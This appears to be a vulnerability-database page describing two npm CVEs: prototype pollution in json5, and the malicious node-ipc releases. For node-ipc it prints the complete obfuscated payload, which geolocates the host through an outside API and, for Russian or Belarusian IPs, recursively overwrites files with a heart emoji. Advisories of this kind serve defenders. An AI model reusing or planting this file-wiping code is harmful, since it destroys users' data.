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CVE-2022-46175 7.1 HIGH 1 PoC Analysis EPSS 0.42
json5 <1.0.2 and >=2.0.0 <2.2.2 - Prototype Pollution via __proto__ Key Parsing
JSON5 is an extension to the popular JSON file format that aims to be easier to write and maintain by hand (e.g. for config files). The `parse` method of the JSON5 library before and including versions 1.0.1 and 2.2.1 does not restrict parsing of keys named `__proto__`, allowing specially crafted strings to pollute the prototype of the resulting object. This vulnerability pollutes the prototype of the object returned by `JSON5.parse` and not the global Object prototype, which is the commonly understood definition of Prototype Pollution. However, polluting the prototype of a single object can have significant security impact for an application if the object is later used in trusted operations. This vulnerability could allow an attacker to set arbitrary and unexpected keys on the object returned from `JSON5.parse`. The actual impact will depend on how applications utilize the returned object and how they filter unwanted keys, but could include denial of service, cross-site scripting, elevation of privilege, and in extreme cases, remote code execution. `JSON5.parse` should restrict parsing of `__proto__` keys when parsing JSON strings to objects. As a point of reference, the `JSON.parse` method included in JavaScript ignores `__proto__` keys. Simply changing `JSON5.parse` to `JSON.parse` in the examples above mitigates this vulnerability. This vulnerability is patched in json5 versions 1.0.2, 2.2.2, and later.
CVE-2022-23812 9.8 CRITICAL EXPLOITED 1 PoC Analysis EPSS 0.08
node-ipc 10.1.1-10.1.3 - Malicious Code Execution via Geo-Location Check
This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from "path"; import a from "fs"; import o from "https"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from("aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=", "base64"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString("utf8"), function (t) { t.on("data", function (t) { const n = Buffer.from("Li8=", "base64"); const o = Buffer.from("Li4v", "base64"); const r = Buffer.from("Li4vLi4v", "base64"); const f = Buffer.from("Lw==", "base64"); const c = Buffer.from("Y291bnRyeV9uYW1l", "base64"); const e = Buffer.from("cnVzc2lh", "base64"); const i = Buffer.from("YmVsYXJ1cw==", "base64"); try { const s = JSON.parse(t.toString("utf8")); const u = s[c.toString("utf8")].toLowerCase(); const a = u.includes(e.toString("utf8")) || u.includes(i.toString("utf8")); // checks if country is Russia or Belarus if (a) { h(n.toString("utf8")); h(o.toString("utf8")); h(r.toString("utf8")); h(f.toString("utf8")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = "", o = "") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from("4p2k77iP", "base64"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString("utf8"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };